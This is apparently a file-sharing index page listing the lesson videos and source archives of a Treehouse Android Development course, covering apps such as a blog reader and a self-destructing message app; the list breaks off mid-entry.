teamtreehouse.com - Android Development ® vampiri6ka

mp4   Hot:969   Size:4.12 GB   Created:2017-08-28 16:01:41   Update:2021-10-29 16:17:08  

File List

  • 文件过大导致无法格式化,将以元数据展示。
    [{"path": "01 Build a Simple Android App/04 Shaking Things Up/01 Adding a Shake Detector/Adding a Shake Detector.mp4", "length": 75508707}, {"path": "02-1 Build a Blog Reader Android App/03 Getting Data from the Web/03 Moving Work from the Main Thread to an AsyncTask/Moving Work from the Main Thread to an AsyncTask.mp4", "length": 56204082}, {"path": "04 Implementing Designs for Android/05 Customizing a ListView for the Inbox/06 Adding a Swipe-to-Refresh Gesture/Adding a Swipe-to-Refresh Gesture.mp4", "length": 46789845}, {"path": "03 Build a Self-Destructing Message Android App/06 Sending Messages/01 Selecting Recipients/Selecting Recipients.mp4", "length": 46674542}, {"path": "03 Build a Self-Destructing Message Android App/07 Retrieving and Viewing Messages/01 Retrieving Messages/Retrieving Messages.mp4", "length": 45622026}, {"path": "02-1 Build a Blog Reader Android App/01 Exploring the Master-Detail Template/03 The Model-View-Controller (MVC) Design Pattern/The Model-View-Controller (MVC) Design Pattern.mp4", "length": 45168131}, {"path": "04 Implementing Designs for Android/04 Customizing the Action Bar/01 Using the Action Bar Style Generator/Using the Action Bar Style Generator.mp4", "length": 44041945}, {"path": "03 Build a Self-Destructing Message Android App/05 Capturing Photos and Videos/09 Selecting a Video from the Gallery/Selecting a Video from the Gallery.mp4", "length": 42105799}, {"path": "03 Build a Self-Destructing Message Android App/01 Starting the App/02 Specifying Features of the App/Specifying Features of the App.mp4", "length": 41733241}, {"path": "01 Build a Simple Android App/05 Interrogating the App/03 Debugging_ Troubleshooting Line by Line/Debugging_ Troubleshooting Line by Line.mp4", "length": 40312995}, {"path": "04 Implementing Designs for Android/02 Customizing the Login Screen/04 Customizing EditTexts/Customizing EditTexts.mp4", "length": 40042998}, {"path": "02-1 Build a Blog Reader Android App/04 Adapting Data for Display in a List/05 Adding Secondary Data with a SimpleAdapter/Adding Secondary Data with a SimpleAdapter.mp4", "length": 39346465}, {"path": "03 Build a Self-Destructing Message Android App/06 Sending Messages/06 Sending the Message/Sending the Message.mp4", "length": 38140462}, {"path": "02-1 Build a Blog Reader Android App/05 Using Intents to Display and Share Posts/03 Easy Sharing with Intents/Easy Sharing with Intents.mp4", "length": 38045253}, {"path": "03 Build a Self-Destructing Message Android App/01 Starting the App/05 Adding the Login Screen/Adding the Login Screen.mp4", "length": 37837706}, {"path": "01 Build a Simple Android App/05 Interrogating the App/02 The Android Log/The Android Log.mp4", "length": 37335820}, {"path": "02-1 Build a Blog Reader Android App/05 Using Intents to Display and Share Posts/01 Opening a Webpage in the Browser/Opening a Webpage in the Browser.mp4", "length": 36444317}, {"path": "03 Build a Self-Destructing Message Android App/02 Adding Users Using Parse.com/02 Creating an Account and App on Parse.com/Creating an Account and App on Parse.com.mp4", "length": 35952353}, {"path": "03 Build a Self-Destructing Message Android App/05 Capturing Photos and Videos/05 Setting Where Photos are Saved/Setting Where Photos are Saved.mp4", "length": 35755500}, {"path": "04 Implementing Designs for Android/07 Updating Other GridViews/02 Displaying Checkmarks in a GridView/Displaying Checkmarks in a GridView.mp4", "length": 34735144}, {"path": "03 Build a Self-Destructing Message Android App/04 Relating Users in Parse.com/07 Displaying Our List of Friends/Displaying Our List of Friends.mp4", "length": 34630781}, {"path": "02-1 Build a Blog Reader Android App/04 Adapting Data for Display in a List/01 Finishing Our AsyncTask/Finishing Our AsyncTask.mp4", "length": 34520366}, {"path": "04 Implementing Designs for Android/04 Customizing the Action Bar/02 Customizing Action Bar Buttons/Customizing Action Bar Buttons.mp4", "length": 34476735}, {"path": "01 Build a Simple Android App/01 Getting Started with Android/04 Android Setup and the Crystal Ball Project/Android Setup and the Crystal Ball Project.mp4", "length": 34232365}, {"path": "04 Implementing Designs for Android/07 Updating Other GridViews/01 Using a Common Layout/Using a Common Layout.mp4", "length": 34128113}, {"path": "03 Build a Self-Destructing Message Android App/05 Capturing Photos and Videos/04 Checking External Storage/Checking External Storage.mp4", "length": 33974003}, {"path": "04 Implementing Designs for Android/03 Using Custom Styles and Themes/06 Adding the Cancel Button/Adding the Cancel Button.mp4", "length": 33451419}, {"path": "03 Build a Self-Destructing Message Android App/07 Retrieving and Viewing Messages/03 Creating a Custom List Adapter for Messages/Creating a Custom List Adapter for Messages.mp4", "length": 33441335}, {"path": "03 Build a Self-Destructing Message Android App/02 Adding Users Using Parse.com/05 Logging In/Logging In.mp4", "length": 32846074}, {"path": "04 Implementing Designs for Android/07 Updating Other GridViews/04 Updating the Recipients Activity/Updating the Recipients Activity.mp4", "length": 32777740}, {"path": "02-1 Build a Blog Reader Android App/02 Rebuilding from Scratch/01 Creating the Project and ListActivity/Creating the Project and ListActivity.mp4", "length": 32577471}, {"path": "03 Build a Self-Destructing Message Android App/06 Sending Messages/02 Adding a Send Button/Adding a Send Button.mp4", "length": 32194327}, {"path": "01 Build a Simple Android App/06 Sharing Your Creation/04 Publishing on Google Play/Publishing on Google Play.mp4", "length": 31534303}, {"path": "01 Build a Simple Android App/02 Learning the Language/05 Simple Refactoring/Simple Refactoring.mp4", "length": 31499067}, {"path": "04 Implementing Designs for Android/02 Customizing the Login Screen/02 Adding the Login Background Image/Adding the Login Background Image.mp4", "length": 31410691}, {"path": "04 Implementing Designs for Android/03 Using Custom Styles and Themes/07 Providing Alternative Layouts for Tablets/Providing Alternative Layouts for Tablets.mp4", "length": 31269191}, {"path": "02-2 Android Tools/01 Getting Started with Android Studio/01 What is Android Studio_/What is Android Studio_.mp4", "length": 31235499}, {"path": "03 Build a Self-Destructing Message Android App/06 Sending Messages/03 Creating the Message/Creating the Message.mp4", "length": 31013399}, {"path": "01 Build a Simple Android App/04 Shaking Things Up/02 The Activity Lifecycle/The Activity Lifecycle.mp4", "length": 30752563}, {"path": "02-1 Build a Blog Reader Android App/04 Adapting Data for Display in a List/04 Cleaning Up Our Presentation/Cleaning Up Our Presentation.mp4", "length": 30444979}, {"path": "02-2 Android Tools/03 Using Git for Android/01 Getting Started with Git for Android/Getting Started with Git for Android.mp4", "length": 29972056}, {"path": "04 Implementing Designs for Android/03 Using Custom Styles and Themes/03 Adding Styles to TextViews/Adding Styles to TextViews.mp4", "length": 29755516}, {"path": "01 Build a Simple Android App/04 Shaking Things Up/03 Running an App on a Device/Running an App on a Device.mp4", "length": 29442460}, {"path": "04 Implementing Designs for Android/05 Customizing a ListView for the Inbox/05 Adding and Formatting Dates/Adding and Formatting Dates.mp4", "length": 29173490}, {"path": "01 Build a Simple Android App/06 Sharing Your Creation/05 Publishing on the Amazon Appstore/Publishing on the Amazon Appstore.mp4", "length": 28955226}, {"path": "03 Build a Self-Destructing Message Android App/06 Sending Messages/05 Adding a File to the Message - Part 2/Adding a File to the Message - Part 2.mp4", "length": 28880310}, {"path": "01 Build a Simple Android App/01 Getting Started with Android/05 Initial Layout/Initial Layout.mp4", "length": 28476373}, {"path": "04 Implementing Designs for Android/02 Customizing the Login Screen/06 Customizing Buttons/Customizing Buttons.mp4", "length": 28465286}, {"path": "01 Build a Simple Android App/03 Pretty Little Things/04 Animating the Crystal Ball/Animating the Crystal Ball.mp4", "length": 28337277}, {"path": "02-1 Build a Blog Reader Android App/03 Getting Data from the Web/02 Requesting Data from the Web the Wrong Way/Requesting Data from the Web the Wrong Way.mp4", "length": 28055518}, {"path": "03 Build a Self-Destructing Message Android App/01 Starting the App/07 Adding the Sign Up Screen/Adding the Sign Up Screen.mp4", "length": 27828864}, {"path": "02-1 Build a Blog Reader Android App/05 Using Intents to Display and Share Posts/04 Adding a Different Icon for Older Menus/Adding a Different Icon for Older Menus.mp4", "length": 27763892}, {"path": "04 Implementing Designs for Android/08 Adding Push Notifications from Parse.com/04 Preparing User-to-User Push Notifications/Preparing User-to-User Push Notifications.mp4", "length": 27501256}, {"path": "01 Build a Simple Android App/05 Interrogating the App/01 Toast Notifications/Toast Notifications.mp4", "length": 27238234}, {"path": "04 Implementing Designs for Android/08 Adding Push Notifications from Parse.com/05 Sending User-to-User Push Notifications/Sending User-to-User Push Notifications.mp4", "length": 26493242}, {"path": "04 Implementing Designs for Android/06 Customizing a GridView for Friends/02 Using a Custom Adapter for a GridView/Using a Custom Adapter for a GridView.mp4", "length": 26479867}, {"path": "03 Build a Self-Destructing Message Android App/03 Using Fragments for Tabs/04 Modifying Fragments from the Template/Modifying Fragments from the Template.mp4", "length": 26451121}, {"path": "04 Implementing Designs for Android/05 Customizing a ListView for the Inbox/01 Fun with Refactoring/Fun with Refactoring.mp4", "length": 26368087}, {"path": "03 Build a Self-Destructing Message Android App/05 Capturing Photos and Videos/02 Presenting a List of Choices in a Dialog/Presenting a List of Choices in a Dialog.mp4", "length": 26337834}, {"path": "02-1 Build a Blog Reader Android App/03 Getting Data from the Web/04 What To Do When the Network is Down/What To Do When the Network is Down.mp4", "length": 26035166}, {"path": "02-2 Android Tools/02 Getting Started with Genymotion/03 Creating a Genymotion Emulator/Creating a Genymotion Emulator.mp4", "length": 25737467}, {"path": "02-1 Build a Blog Reader Android App/03 Getting Data from the Web/01 Trying Code and Catching Exceptions/Trying Code and Catching Exceptions.mp4", "length": 25122233}, {"path": "03 Build a Self-Destructing Message Android App/04 Relating Users in Parse.com/03 Executing a Query/Executing a Query.mp4", "length": 25092423}, {"path": "02-1 Build a Blog Reader Android App/01 Exploring the Master-Detail Template/05 Adding More Test Data/Adding More Test Data.mp4", "length": 25028572}, {"path": "03 Build a Self-Destructing Message Android App/01 Starting the App/08 Navigation with Back and Up/Navigation with Back and Up.mp4", "length": 24872245}, {"path": "03 Build a Self-Destructing Message Android App/02 Adding Users Using Parse.com/03 Error Messages with Dialogs/Error Messages with Dialogs.mp4", "length": 24863491}, {"path": "04 Implementing Designs for Android/02 Customizing the Login Screen/03 Customizing TextViews/Customizing TextViews.mp4", "length": 24783033}, {"path": "01 Build a Simple Android App/02 Learning the Language/02 Objects and Random Numbers/Objects and Random Numbers.mp4", "length": 24747280}, {"path": "02-1 Build a Blog Reader Android App/04 Adapting Data for Display in a List/03 Handling Errors Using Dialogs/Handling Errors Using Dialogs.mp4", "length": 24448113}, {"path": "02-1 Build a Blog Reader Android App/01 Exploring the Master-Detail Template/01 Blog Reader Project Overview/Blog Reader Project Overview.mp4", "length": 24267954}, {"path": "02-1 Build a Blog Reader Android App/03 Getting Data from the Web/06 Parsing Data Returned in JSON Format/Parsing Data Returned in JSON Format.mp4", "length": 24120539}, {"path": "04 Implementing Designs for Android/08 Adding Push Notifications from Parse.com/02 Setting Up Push Notifications/Setting Up Push Notifications.mp4", "length": 24020305}, {"path": "01 Build a Simple Android App/02 Learning the Language/04 Introduction to Arrays/Introduction to Arrays.mp4", "length": 23870229}, {"path": "02-1 Build a Blog Reader Android App/05 Using Intents to Display and Share Posts/02 Opening a Webpage Within the App/Opening a Webpage Within the App.mp4", "length": 23688940}, {"path": "02-2 Android Tools/01 Getting Started with Android Studio/02 Setting Up a Project in Android Studio/Setting Up a Project in Android Studio.mp4", "length": 23669199}, {"path": "03 Build a Self-Destructing Message Android App/03 Using Fragments for Tabs/03 Modifying Tabs from the Template/Modifying Tabs from the Template.mp4", "length": 23588364}, {"path": "03 Build a Self-Destructing Message Android App/05 Capturing Photos and Videos/01 Adding a Camera Button in the Action Bar/Adding a Camera Button in the Action Bar.mp4", "length": 23571874}, {"path": "01 Build a Simple Android App/06 Sharing Your Creation/03 Getting Ready for Google Play/Getting Ready for Google Play.mp4", "length": 23270340}, {"path": "04 Implementing Designs for Android/08 Adding Push Notifications from Parse.com/06 Adding a Custom Notification Icon/Adding a Custom Notification Icon.mp4", "length": 23266687}, {"path": "04 Implementing Designs for Android/06 Customizing a GridView for Friends/05 Getting Ready for Gravatar Images/Getting Ready for Gravatar Images.mp4", "length": 22801114}, {"path": "02-1 Build a Blog Reader Android App/02 Rebuilding from Scratch/04 All About @string Resources/All About @string Resources.mp4", "length": 22629625}, {"path": "02-1 Build a Blog Reader Android App/03 Getting Data from the Web/05 Getting JSON Data from an HTTP Request/Getting JSON Data from an HTTP Request.mp4", "length": 22576938}, {"path": "03 Build a Self-Destructing Message Android App/04 Relating Users in Parse.com/01 Adding the Edit Friends Screen/Adding the Edit Friends Screen.mp4", "length": 22424693}, {"path": "02-1 Build a Blog Reader Android App/01 Exploring the Master-Detail Template/02 Creating a Project Using the Master-Detail Template/Creating a Project Using the Master-Detail Template.mp4", "length": 22328491}, {"path": "02-2 Android Tools/01 Getting Started with Android Studio/06 Helpful Keyboard Shortcuts/Helpful Keyboard Shortcuts.mp4", "length": 22293341}, {"path": "03 Build a Self-Destructing Message Android App/02 Adding Users Using Parse.com/07 Adding a Progress Indicator/Adding a Progress Indicator.mp4", "length": 22257200}, {"path": "02-2 Android Tools/03 Using Git for Android/06 Pulling Down GitHub Projects to Android Studio/Pulling Down GitHub Projects to Android Studio.mp4", "length": 21941140}, {"path": "02-2 Android Tools/03 Using Git for Android/04 Saving Project Changes to a Repository/Saving Project Changes to a Repository.mp4", "length": 21874888}, {"path": "02-1 Build a Blog Reader Android App/02 Rebuilding from Scratch/03 Adding Data for the List/Adding Data for the List.mp4", "length": 21832241}, {"path": "04 Implementing Designs for Android/02 Customizing the Login Screen/05 Generating 9-Patch Images/Generating 9-Patch Images.mp4", "length": 21826940}, {"path": "01 Build a Simple Android App/03 Pretty Little Things/05 Animating the Answer/Animating the Answer.mp4", "length": 21697831}, {"path": "02-1 Build a Blog Reader Android App/01 Exploring the Master-Detail Template/04 Exploring the Master-Detail Template/Exploring the Master-Detail Template.mp4", "length": 21678092}, {"path": "04 Implementing Designs for Android/03 Using Custom Styles and Themes/05 Styling EditTexts and Buttons/Styling EditTexts and Buttons.mp4", "length": 21401062}, {"path": "02-2 Android Tools/02 Getting Started with Genymotion/04 Using a Genymotion Emulator/Using a Genymotion Emulator.mp4", "length": 21028870}, {"path": "03 Build a Self-Destructing Message Android App/01 Starting the App/03 Installing and Updating Our Tools/Installing and Updating Our Tools.mp4", "length": 20998906}, {"path": "03 Build a Self-Destructing Message Android App/08 Self-Destruction/04 Deleting Partial Data for One Recipient/Deleting Partial Data for One Recipient.mp4", "length": 20894874}, {"path": "03 Build a Self-Destructing Message Android App/05 Capturing Photos and Videos/06 Saving a Photo to the Gallery/Saving a Photo to the Gallery.mp4", "length": 20797342}, {"path": "04 Implementing Designs for Android/06 Customizing a GridView for Friends/01 Converting a ListView to a GridView/Converting a ListView to a GridView.mp4", "length": 20527067}, {"path": "03 Build a Self-Destructing Message Android App/07 Retrieving and Viewing Messages/04 Viewing Image Messages/Viewing Image Messages.mp4", "length": 20513225}, {"path": "01 Build a Simple Android App/03 Pretty Little Things/06 Adding Sounds/Adding Sounds.mp4", "length": 20508297}, {"path": "03 Build a Self-Destructing Message Android App/05 Capturing Photos and Videos/03 Taking a Photo Using an Intent/Taking a Photo Using an Intent.mp4", "length": 20335808}, {"path": "04 Implementing Designs for Android/01 Starting with Design Mockups/02 Setting Up Tools and Importing a Project/Setting Up Tools and Importing a Project.mp4", "length": 20319329}, {"path": "04 Implementing Designs for Android/03 Using Custom Styles and Themes/04 Using Includes for Repeatable Layouts/Using Includes for Repeatable Layouts.mp4", "length": 19667228}, {"path": "01 Build a Simple Android App/01 Getting Started with Android/01 Introduction to Java Variables/Introduction to Java Variables.mp4", "length": 19554542}, {"path": "01 Build a Simple Android App/06 Sharing Your Creation/01 Adding a Launcher Icon/Adding a Launcher Icon.mp4", "length": 19527185}, {"path": "03 Build a Self-Destructing Message Android App/07 Retrieving and Viewing Messages/02 Creating a Custom List Layout for Messages/Creating a Custom List Layout for Messages.mp4", "length": 19398519}, {"path": "04 Implementing Designs for Android/05 Customizing a ListView for the Inbox/03 Adding Margins to ListViews/Adding Margins to ListViews.mp4", "length": 19352434}, {"path": "01 Build a Simple Android App/03 Pretty Little Things/01 Adding an Image/Adding an Image.mp4", "length": 19059778}, {"path": "03 Build a Self-Destructing Message Android App/04 Relating Users in Parse.com/06 Adding Checkmarks When the List is Loaded/Adding Checkmarks When the List is Loaded.mp4", "length": 19020899}, {"path": "03 Build a Self-Destructing Message Android App/01 Starting the App/06 Android Layouts in XML/Android Layouts in XML.mp4", "length": 18550112}, {"path": "03 Build a Self-Destructing Message Android App/05 Capturing Photos and Videos/07 Taking a Video Using an Intent/Taking a Video Using an Intent.mp4", "length": 18506802}, {"path": "03 Build a Self-Destructing Message Android App/02 Adding Users Using Parse.com/04 Creating a New User on Parse/Creating a New User on Parse.mp4", "length": 18445077}, {"path": "03 Build a Self-Destructing Message Android App/04 Relating Users in Parse.com/08 Removing Friend Relationships/Removing Friend Relationships.mp4", "length": 18418638}, {"path": "01 Build a Simple Android App/03 Pretty Little Things/03 Positioning Text Using a Linear Layout/Positioning Text Using a Linear Layout.mp4", "length": 18259231}, {"path": "03 Build a Self-Destructing Message Android App/06 Sending Messages/04 Adding a File to the Message - Part 1/Adding a File to the Message - Part 1.mp4", "length": 18227774}, {"path": "04 Implementing Designs for Android/06 Customizing a GridView for Friends/03 Customizing the GridView/Customizing the GridView.mp4", "length": 18203326}, {"path": "04 Implementing Designs for Android/06 Customizing a GridView for Friends/07 Adapting GridViews for Different Screen Sizes/Adapting GridViews for Different Screen Sizes.mp4", "length": 18089221}, {"path": "03 Build a Self-Destructing Message Android App/08 Self-Destruction/03 Deleting the Whole Message/Deleting the Whole Message.mp4", "length": 17811812}, {"path": "04 Implementing Designs for Android/06 Customizing a GridView for Friends/06 Retrieving Gravatar Images/Retrieving Gravatar Images.mp4", "length": 17770681}, {"path": "03 Build a Self-Destructing Message Android App/02 Adding Users Using Parse.com/06 Logging Out/Logging Out.mp4", "length": 17263856}, {"path": "02-2 Android Tools/01 Getting Started with Android Studio/07 Adding Parse as a Third-Party Library/Adding Parse as a Third-Party Library.mp4", "length": 17050567}, {"path": "04 Implementing Designs for Android/05 Customizing a ListView for the Inbox/04 Changing the Layout of ListView Items/Changing the Layout of ListView Items.mp4", "length": 16924693}, {"path": "01 Build a Simple Android App/02 Learning the Language/03 Conditionals_ Writing an if statement/Conditionals_ Writing an if statement.mp4", "length": 16879528}, {"path": "04 Implementing Designs for Android/04 Customizing the Action Bar/03 Adding Icons to Tabs/Adding Icons to Tabs.mp4", "length": 16777096}, {"path": "03 Build a Self-Destructing Message Android App/03 Using Fragments for Tabs/01 Why Fragments_/Why Fragments_.mp4", "length": 16429205}, {"path": "03 Build a Self-Destructing Message Android App/05 Capturing Photos and Videos/08 Selecting a Photo from the Gallery/Selecting a Photo from the Gallery.mp4", "length": 16211234}, {"path": "01 Build a Simple Android App/01 Getting Started with Android/08 Adding an OnClickListener to a Button/Adding an OnClickListener to a Button.mp4", "length": 16152064}, {"path": "02-1 Build a Blog Reader Android App/02 Rebuilding from Scratch/02 Handling a Lack of Data/Handling a Lack of Data.mp4", "length": 16116757}, {"path": "02-1 Build a Blog Reader Android App/04 Adapting Data for Display in a List/02 Filling Our String Array and Creating the Adapter/Filling Our String Array and Creating the Adapter.mp4", "length": 15961201}, {"path": "03 Build a Self-Destructing Message Android App/02 Adding Users Using Parse.com/01 What is an API_ What Does it Mean to Use One_/What is an API_ What Does it Mean to Use One_.mp4", "length": 15523895}, {"path": "04 Implementing Designs for Android/01 Starting with Design Mockups/04 Adding a Launcher Icon/Adding a Launcher Icon.mp4", "length": 15511577}, {"path": "03 Build a Self-Destructing Message Android App/04 Relating Users in Parse.com/04 Selecting Friends from a List/Selecting Friends from a List.mp4", "length": 15262978}, {"path": "04 Implementing Designs for Android/01 Starting with Design Mockups/01 Getting Up to Speed/Getting Up to Speed.mp4", "length": 15142398}, {"path": "02-2 Android Tools/01 Getting Started with Android Studio/05 Fragments and Layouts/Fragments and Layouts.mp4", "length": 15001077}, {"path": "03 Build a Self-Destructing Message Android App/01 Starting the App/04 Setting Up the Project/Setting Up the Project.mp4", "length": 14976507}, {"path": "01 Build a Simple Android App/01 Getting Started with Android/06 Introduction to Methods and Classes/Introduction to Methods and Classes.mp4", "length": 14791488}, {"path": "03 Build a Self-Destructing Message Android App/03 Using Fragments for Tabs/05 Understanding the Rest of the Pieces/Understanding the Rest of the Pieces.mp4", "length": 14672795}, {"path": "04 Implementing Designs for Android/05 Customizing a ListView for the Inbox/02 Setting the Background Color for the Inbox/Setting the Background Color for the Inbox.mp4", "length": 14665910}, {"path": "03 Build a Self-Destructing Message Android App/01 Starting the App/01 Introducing the Project/Introducing the Project.mp4", "length": 14631912}, {"path": "03 Build a Self-Destructing Message Android App/04 Relating Users in Parse.com/05 Storing Friend Relationships/Storing Friend Relationships.mp4", "length": 14599538}, {"path": "03 Build a Self-Destructing Message Android App/04 Relating Users in Parse.com/02 Setting Up a Query for Users/Setting Up a Query for Users.mp4", "length": 14339723}, {"path": "01 Build a Simple Android App/06 Sharing Your Creation/02 Sharing with Friends/Sharing with Friends.mp4", "length": 14230871}, {"path": "04 Implementing Designs for Android/07 Updating Other GridViews/03 Selecting GridView Items/Selecting GridView Items.mp4", "length": 14208772}, {"path": "01 Build a Simple Android App/01 Getting Started with Android/02 Java Variables Explained/Java Variables Explained.mp4", "length": 14084936}, {"path": "04 Implementing Designs for Android/01 Starting with Design Mockups/03 Supporting Multiple Screens/Supporting Multiple Screens.mp4", "length": 13458658}, {"path": "02-2 Android Tools/02 Getting Started with Genymotion/01 What is Genymotion_/What is Genymotion_.mp4", "length": 13443166}, {"path": "01 Build a Simple Android App/02 Learning the Language/01 Comments and Empty Strings/Comments and Empty Strings.mp4", "length": 12963074}, {"path": "02-2 Android Tools/03 Using Git for Android/02 Creating a New GitHub Project/Creating a New GitHub Project.mp4", "length": 12802929}, {"path": "01 Build a Simple Android App/03 Pretty Little Things/02 Customizing Buttons and Labels/Customizing Buttons and Labels.mp4", "length": 12634729}, {"path": "04 Implementing Designs for Android/06 Customizing a GridView for Friends/04 Adding Images to the GridView/Adding Images to the GridView.mp4", "length": 12175480}, {"path": "04 Implementing Designs for Android/02 Customizing the Login Screen/01 Hiding the Action Bar/Hiding the Action Bar.mp4", "length": 12065996}, {"path": "04 Implementing Designs for Android/08 Adding Push Notifications from Parse.com/03 Sending Push Notifications from the Back-end/Sending Push Notifications from the Back-end.mp4", "length": 11952887}, {"path": "03 Build a Self-Destructing Message Android App/03 Using Fragments for Tabs/02 How Fragments are Used as Tabs/How Fragments are Used as Tabs.mp4", "length": 11946977}, {"path": "04 Implementing Designs for Android/03 Using Custom Styles and Themes/02 Creating a Style/Creating a Style.mp4", "length": 11749351}, {"path": "02-2 Android Tools/01 Getting Started with Android Studio/04 What is Gradle_/What is Gradle_.mp4", "length": 10995268}, {"path": "03 Build a Self-Destructing Message Android App/08 Self-Destruction/02 Maintaining Scroll Position in a ListView/Maintaining Scroll Position in a ListView.mp4", "length": 10933195}, {"path": "01 Build a Simple Android App/01 Getting Started with Android/07 Accessing Views in Code/Accessing Views in Code.mp4", "length": 10819986}, {"path": "02-2 Android Tools/01 Getting Started with Android Studio/03 The Android Studio Interface/The Android Studio Interface.mp4", "length": 10390747}, {"path": "02-2 Android Tools/03 Using Git for Android/03 Saving to a GitHub Repository/Saving to a GitHub Repository.mp4", "length": 10131446}, {"path": "02-2 Android Tools/01 Getting Started with Android Studio/09 Should You Use Android Studio_/Should You Use Android Studio_.mp4", "length": 9776427}, {"path": "04 Implementing Designs for Android/03 Using Custom Styles and Themes/01 What are Styles and Themes_/What are Styles and Themes_.mp4", "length": 9576228}, {"path": "02-2 Android Tools/02 Getting Started with Genymotion/02 Installing Genymotion/Installing Genymotion.mp4", "length": 9437994}, {"path": "03 Build a Self-Destructing Message Android App/07 Retrieving and Viewing Messages/05 Using Picasso to View Images from the Web/Using Picasso to View Images from the Web.mp4", "length": 9383820}, {"path": "02-2 Android Tools/03 Using Git for Android/05 Creating a New Repo with Android Studio/Creating a New Repo with Android Studio.mp4", "length": 7891590}, {"path": "02-2 Android Tools/01 Getting Started with Android Studio/08 Android SDK and Device Monitor/Android SDK and Device Monitor.mp4", "length": 6813332}, {"path": "03 Build a Self-Destructing Message Android App/08 Self-Destruction/01 Timing Out an Image/Timing Out an Image.mp4", "length": 6713665}, {"path": "01 Build a Simple Android App/06 Sharing Your Creation/03 Getting Ready for Google Play/Sources.7z", "length": 5122672}, {"path": "01 Build a Simple Android App/06 Sharing Your Creation/02 Sharing with Friends/Sources.7z", "length": 5122672}, {"path": "01 Build a Simple Android App/06 Sharing Your Creation/01 Adding a Launcher Icon/Sources.7z", "length": 5122671}, {"path": "01 Build a Simple Android App/06 Sharing Your Creation/05 Publishing on the Amazon Appstore/Sources.7z", "length": 5122671}, {"path": "01 Build a Simple Android App/06 Sharing Your Creation/04 Publishing on Google Play/Sources.7z", "length": 5122671}, {"path": "01 Build a Simple Android App/05 Interrogating the App/02 The Android Log/Sources.7z", "length": 5112875}, {"path": "01 Build a Simple Android App/05 Interrogating the App/01 Toast Notifications/Sources.7z", "length": 5112875}, {"path": "01 Build a Simple Android App/05 Interrogating the App/03 Debugging_ Troubleshooting Line by Line/Sources.7z", "length": 5112875}, {"path": "01 Build a Simple Android App/04 Shaking Things Up/02 The Activity Lifecycle/Sources.7z", "length": 5112789}, {"path": "01 Build a Simple Android App/04 Shaking Things Up/03 Running an App on a Device/Sources.7z", "length": 5112788}, {"path": "01 Build a Simple Android App/04 Shaking Things Up/01 Adding a Shake Detector/Sources.7z", "length": 5111242}, {"path": "01 Build a Simple Android App/03 Pretty Little Things/06 Adding Sounds/Sources.7z", "length": 5109934}, {"path": "01 Build a Simple Android App/03 Pretty Little Things/05 Animating the Answer/Sources.7z", "length": 5054672}, {"path": "01 Build a Simple Android App/03 Pretty Little Things/04 Animating the Crystal Ball/Sources.7z", "length": 5053579}, {"path": "03 Build a Self-Destructing Message Android App/07 Retrieving and Viewing Messages/06 Viewing Video Messages/Viewing Video Messages.mp4", "length": 4980276}, {"path": "04 Implementing Designs for Android/08 Adding Push Notifications from Parse.com/06 Adding a Custom Notification Icon/Sources.zip", "length": 4771267}, {"path": "04 Implementing Designs for Android/08 Adding Push Notifications from Parse.com/05 Sending User-to-User Push Notifications/Sources.zip", "length": 4754080}, {"path": "04 Implementing Designs for Android/08 Adding Push Notifications from Parse.com/04 Preparing User-to-User Push Notifications/Sources.zip", "length": 4753275}, {"path": "04 Implementing Designs for Android/08 Adding Push Notifications from Parse.com/03 Sending Push Notifications from the Back-end/Sources.zip", "length": 4752636}, {"path": "04 Implementing Designs for Android/08 Adding Push Notifications from Parse.com/02 Setting Up Push Notifications/Sources.zip", "length": 4752636}, {"path": "04 Implementing Designs for Android/07 Updating Other GridViews/03 Selecting GridView Items/Sources.zip", "length": 4661965}, {"path": "04 Implementing Designs for Android/06 Customizing a GridView for Friends/07 Adapting GridViews for Different Screen Sizes/Sources.zip", "length": 4661600}, {"path": "04 Implementing Designs for Android/06 Customizing a GridView for Friends/06 Retrieving Gravatar Images/Sources.zip", "length": 4661396}, {"path": "04 Implementing Designs for Android/06 Customizing a GridView for Friends/05 Getting Ready for Gravatar Images/Sources.zip", "length": 4660127}, {"path": "04 Implementing Designs for Android/07 Updating Other GridViews/02 Displaying Checkmarks in a GridView/Sources.zip", "length": 4658929}, {"path": "04 Implementing Designs for Android/07 Updating Other GridViews/01 Using a Common Layout/Sources.zip", "length": 4658141}, {"path": "04 Implementing Designs for Android/06 Customizing a GridView for Friends/04 Adding Images to the GridView/Sources.zip", "length": 4658098}, {"path": "04 Implementing Designs for Android/06 Customizing a GridView for Friends/03 Customizing the GridView/Sources.zip", "length": 4657411}, {"path": "04 Implementing Designs for Android/06 Customizing a GridView for Friends/02 Using a Custom Adapter for a GridView/Sources.zip", "length": 4656598}, {"path": "04 Implementing Designs for Android/06 Customizing a GridView for Friends/01 Converting a ListView to a GridView/Sources.zip", "length": 4651461}, {"path": "04 Implementing Designs for Android/05 Customizing a ListView for the Inbox/06 Adding a Swipe-to-Refresh Gesture/Sources.zip", "length": 4651438}, {"path": "04 Implementing Designs for Android/05 Customizing a ListView for the Inbox/05 Adding and Formatting Dates/Sources.zip", "length": 4599038}, {"path": "04 Implementing Designs for Android/05 Customizing a ListView for the Inbox/04 Changing the Layout of ListView Items/Sources.zip", "length": 4597623}, {"path": "04 Implementing Designs for Android/05 Customizing a ListView for the Inbox/03 Adding Margins to ListViews/Sources.zip", "length": 4597577}, {"path": "04 Implementing Designs for Android/05 Customizing a ListView for the Inbox/02 Setting the Background Color for the Inbox/Sources.zip", "length": 4596251}, {"path": "04 Implementing Designs for Android/05 Customizing a ListView for the Inbox/01 Fun with Refactoring/Sources.zip", "length": 4596109}, {"path": "04 Implementing Designs for Android/04 Customizing the Action Bar/02 Customizing Action Bar Buttons/Sources.zip", "length": 4594054}, {"path": "04 Implementing Designs for Android/04 Customizing the Action Bar/03 Adding Icons to Tabs/Sources.zip", "length": 4594054}, {"path": "04 Implementing Designs for Android/04 Customizing the Action Bar/01 Using the Action Bar Style Generator/Sources.zip", "length": 4592695}, {"path": "04 Implementing Designs for Android/08 Adding Push Notifications from Parse.com/01 What is a Push Notification_/What is a Push Notification_.mp4", "length": 4557213}, {"path": "04 Implementing Designs for Android/03 Using Custom Styles and Themes/07 Providing Alternative Layouts for Tablets/Sources.zip", "length": 4416507}, {"path": "04 Implementing Designs for Android/03 Using Custom Styles and Themes/06 Adding the Cancel Button/Sources.zip", "length": 4410899}, {"path": "04 Implementing Designs for Android/03 Using Custom Styles and Themes/05 Styling EditTexts and Buttons/Sources.zip", "length": 4399732}, {"path": "04 Implementing Designs for Android/03 Using Custom Styles and Themes/04 Using Includes for Repeatable Layouts/Sources.zip", "length": 4399708}, {"path": "04 Implementing Designs for Android/03 Using Custom Styles and Themes/03 Adding Styles to 